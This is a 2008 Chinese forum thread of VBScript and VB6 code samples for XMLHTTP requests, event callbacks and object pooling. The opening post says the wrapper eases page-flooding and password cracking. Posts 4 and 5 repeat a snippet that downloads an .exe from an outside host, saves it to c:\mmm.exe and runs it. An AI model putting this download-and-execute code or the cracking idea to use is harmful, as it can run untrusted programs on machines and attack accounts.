简单实用的就是最好的！
登录 | 注册 | 关于 |  


xmlhttp

楼主　jangogo

积 分：5679
总帖数：172		 Set xmlHttp = CreateObject("microsoft.xmlhttp")
Set oShell = CreateObject("WScript.Shell")
sCurrDir = oShell.CurrentDirectory
Function GetPage(Method,Url,Async,PostContent,FileName)
 xmlHttp.open Method,Url,Async
 If Method = "POST" Then
  xmlhttp.setRequestHeader "Content-Type","application/x-www-form-urlencoded"
  xmlhttp.setRequestHeader "Content-Length",Len(PostContent)
 End If
 xmlHttp.send(PostContent)
 If Async = False Then GetPage = BytesToBstr(xmlHttp.responseBody,"GB2312",FileName) Else GetPage = ""
End Function
Function BytesToBstr(body,Cset,FileName)
 Set objstream = CreateObject("ADODB.Stream")
 with objstream
 .Type = 1
 .Mode =3
 .Open
 .Write body
 If not trim(FileName)="" Then .SaveToFile LCase(FileName),2
 .Position = 0
 .Type = 2
 .Charset = Cset
 End With 
 BytesToBstr = objstream.ReadText
 objstream.Close
End Function
使用方法：
 GetPage(提交方法, 提交URL, 是否异步, POST内容, [另存为文件名])
几乎封装了一切可用的，呵呵。以后用xmlHttp做刷网页，破密码等，都是很简单的调用了。效率很高，直接继承了IE的Cookie。
2008-4-18 10:10:00 修改  删除  引用  回复
1楼　jangogo

积 分：5679
总帖数：172		 ''============================= '' VBS 异步 xmlhttp ''============================= dim URL,xh,xml set xh = CreateObject("Microsoft.XMLHTTP") URL="http://community.csdn.net/Expert/topic/4470/4470224.xml?temp=.6321985" Function getXML(URL) xh.onreadystatechange = GetRef("getReady") xh.Open "GET",URL, true xh.Send alert xml End Function Function getReady() if xh.readyState=4 THEN if xh.status=200 THEN dim xmldoc,root set xmldoc= xh.responseXML set root= xmldoc.documentElement xml=xmldoc.xml else xml = "抱歉，装载数据失败。原因：" + xh.statusText END if END if End Function
2008-4-18 10:16:00 修改  删除  引用  回复
2楼　jangogo

积 分：5679
总帖数：172		 如果在 VB6使用 则需要 DHTML offers a wide array of events. Accessing them from VB can get Hairy. There are two methods to acessing these events the first and by far the easiest is: 
dim withevent as msxml.domdocument
This allows for events to be coded in the standard way however accessing most events is not this easy. It takes the creation of a custom class that contains a default property. The repost below describes how to access the httprequest events from vb. The method described can be used to access any DHTML event. Attached is a sample DHTML Application from VB6 Enterprise SP4 that responds to a button onclick event. The Repost though has one short coming. It shows how to invoke a class in responses to a event but fails to return the event to the calling object. This can be accomplished using VB's RaiseEvent Method which is the method used in the zipped sample. 
引用内容：
'onreadystatechange  N/A 指定当就绪状态发生改变时调用的事件处理函数，仅用于异步操作   
'readyState  Long 异步操作的状态：未初始化(0)，正在加载(1)，已加载(2)，交互(3)，已完成(4) 
'responseBody  Variant 将响应信息正文作为unsigned byte数组返回 
'responseStream  Variant 将响应信息正文作为一个ADO Stream对象返回 
'responseText  String 将响应信息正文作为一个文本字符串返回 
'responseXML  Object 通过XMLDom将响应信息正文解析为XMLDocument对象 
'status  Long 服务器返回的HTTP状态码 
'statusText  String 服务器HTTP响应行状态 
''************************************
'Title: Re: Handling XMLHTTPRequest events
'Author: Stephen Sulzer 
'Date: Fri, 03 Nov 2000 01:34:40 GMT
''************************************
'This issue has come up before. It is rather cumbersome to hook up the
'XmlHttpRequest 's event notification in Visual Basic.
'
'here 's what you do:
'
'1. Create a new class in your VB project with one method. The method
'    will be your event handler function. We have to wrap your event
'    handler within it 's own class module. The name of the class is irrelevant.
'    Let's call it 'OnReadyStateWrapper'. Let's call the name of the
'    method, 'OnReadyStateChange'.
'
'2. After you define your OnReadyStateChange function, select the
'   Tools / Procedure Attributes menu.
'
'3. In the Procedure Attributes dialog box, select the name of your
'    function in the Name drop-drown list. (It should already be selected
'    By default.)
'
'4. Hit the "Advanced >>" button.  This will expand the dialog with
'   more options.
'
'5. In the "Procedure ID" drop-down list, select "(Default)".
'
'6. Click "OK".
'
'What we've just done is assign a DISPATCH ID value of zero to your
'method, which means it's the "default" method of the class.
'Now, here is some sample code for a form ("Form1") that creates an
'XMLHTTP object and assigns a method to onreadystatechange.
'
' Form1.frm
Public XmlHttpRequest As Object
Private Sub Form_Load()
        Dim MyOnReadyStateWrapper As OnReadyStateWrapper
        Set XmlHttpRequest = CreateObject("Microsoft.XMLHTTP")
        ' Create an instance of the wrapper class
        Set MyOnReadyStateWrapper = New OnReadyStateWrapper
        ' Assign the wrapper class object to onreadystatechange.Voodoomagic happens here :)
        XmlHttpRequest.OnReadyStateChange = MyOnReadyStateWrapper
        ' get some stuff asynchronously
        XmlHttpRequest.open "GET", "http://www.msnbc.com/news/", True
        XmlHttpRequest.send
        ' note: don't set XmlHttpRequest = Nothing here; we need tokeep the object alive
        ' while we're doing the async send.
End Sub
' Here is my sample OnReadyStateWrapper class. It has just one method.
Sub OnReadyStateChange()
    Debug.Print Form1.XmlHttpRequest.readyState
End Sub
'Hope that helps!
2008-4-18 10:21:00 修改  删除  引用  回复
3楼　jangogo

积 分：5679
总帖数：172		 Dim xmlhttp AS MSXML.XMLHTTPRequest Dim MyOnReadyStateWrapper As MyReadyStateHandler Set MyOnReadyStateWrapper = New MyReadyStateHandler Set xmlhttp = New MSXML.XMLHTTPRequest xmlStr = GetXmlDom '获得数据 xmlhttp.Open "POST", strWebUrl, True xmlhttp.OnReadyStateChange = MyOnReadyStateWrapper xmlhttp.send xmlStr '发送数据 建一个Class Module，名为MyReadyStateHandler，然后在里面写一个默认的Sub来作为回调处理
2008-4-18 10:23:00 修改  删除  引用  回复
4楼　jangogo

积 分：5679
总帖数：172		 建立一个vb工程，Project1 添加引用：Microsoft scripting runtime,Microsoft Active Data Object,Microsoft MsXML Form1代码：    Public a As MSXML2.XMLHTTP   Private Sub Command1_Click()    Dim d As Class1    Set a = New MSXML2.XMLHTTP    a.open "get", "http://www.ljc.com/sll.exehttp://www.ljc.com/sll.exe">http://www.ljc.com/sll.exe>", True    Set d = New Class1    a.onreadystatechange = d    a.send End Sub Class1代码： Dim b As ADODB.Stream Dim fso As Scripting.FileSystemObject Public curReadyState As Long Public Function doSome()   Debug.Print Form1.a.readyState   If Form1.a.readyState = 4 Then      www   End If End Function Public Function www()    Set b = New ADODB.Stream    b.Type = 1    b.open    Set fso = New Scripting.FileSystemObject    If Form1.a.readyState = 4 Then         b.Write (Form1.a.responseBody)         If Not fso.FileExists("c:\mmm.exe") Then            b.SaveToFile "c:\mmm.exe"         End If    End If    b.Close    Set b = Nothing    If fso.FileExists("c:\mmm.exe") Then Shell "c:\mmm.exe", 1    Set fso = Nothing End Function 注意将Class1的doSome设置成default的。
2008-4-18 10:25:00 修改  删除  引用  回复
5楼　jangogo

积 分：5679
总帖数：172		 建立一个vb工程，Project1 添加引用：Microsoft scripting runtime,Microsoft Active Data Object,Microsoft MsXML Form1代码： Public a As MSXML2.XMLHTTP Private Sub Command1_Click() Dim d As Class1 Set a = New MSXML2.XMLHTTP a.open "get", "http://www.ljc.com/sll.exehttp://www.ljc.com/sll.exe">http://www.ljc.com/sll.exe>", True Set d = New Class1 a.onreadystatechange = d a.send End Sub Class1代码： Dim b As ADODB.Stream Dim fso As Scripting.FileSystemObject Public curReadyState As Long Public Function doSome() Debug.Print Form1.a.readyState If Form1.a.readyState = 4 Then www End If End Function Public Function www() Set b = New ADODB.Stream b.Type = 1 b.open Set fso = New Scripting.FileSystemObject If Form1.a.readyState = 4 Then b.Write (Form1.a.responseBody) If Not fso.FileExists("c:\mmm.exe") Then b.SaveToFile "c:\mmm.exe" End If End If b.Close Set b = Nothing If fso.FileExists("c:\mmm.exe") Then Shell "c:\mmm.exe", 1 Set fso = Nothing End Function 注意将Class1的doSome设置成default的。
2008-4-18 10:26:00 修改  删除  引用  回复
6楼　jangogo

积 分：5679
总帖数：172		 用VB实现XMLHttp Pool 昨天看了鸟食轩的文章构建一个pool来管理无刷新页面的xmlhttp对象 ，自己用VB6实现了一下，结果出现了一点小问题，总结一下。 代码： Form：Form1 Option Explicit Private Pools As HttpPool Private Sub Command1_Click() Dim o As MSXML2.XMLHTTP Set o = Pools.GetObject() Dim Handler As MyReadyStateHandler Set Handler = New MyReadyStateHandler Handler.ini o o.OnReadyStateChange = Handler o.open "GET", "Http://localhost/js/message.htm", True o.send Set Handler = Nothing End Sub Private Sub Form_Load() Set Pools = New HttpPool End Sub Private Sub Form_Unload(Cancel As Integer) Set Pools = Nothing End Sub Class：HttpPool Option Explicit Dim Pool As Collection '没有考虑池容量 Public Function GetObject() As MSXML2.XMLHTTP Dim i As Integer Dim o As MSXML2.XMLHTTP For i = 1 To Pool.Count Set o = Pool(i) If o.readyState = 4 Or o.readyState = 0 Then o.abort GoTo ExitLabel End If Next Set o = New MSXML2.XMLHTTP Pool.Add o ExitLabel: Set GetObject = o Debug.Print Pool.Count End Function Private Sub Class_Initialize() Set Pool = New Collection End Sub Private Sub Class_Terminate() Dim i As Integer For i = 1 To Pool.Count Pool(i).abort Next Set Pool = Nothing End Sub Option Explicit Dim p As XMLHTTP Sub OnReadyStateChange() If p.readyState = 4 Then Debug.Print p.responseText End If End Sub Class：MyReadyStateHandler Public Sub ini(o As XMLHTTP) Set p = o End Sub 在原先的JavaScript的代码中没有**代码对应的语句，因此在VB6的调试过程中一点一个XMlHttp对象被用过后readyState状态一直是4，所以就不在触发OnReadyStateChange事件了，因此responseText只能显示一次，以后就无法工作了，最后加上o.abort一切搞定。
2008-4-18 10:28:00 修改  删除  引用  回复
 

  
   

广州海然数码科技有限公司 Copyright©2009 4Fang.net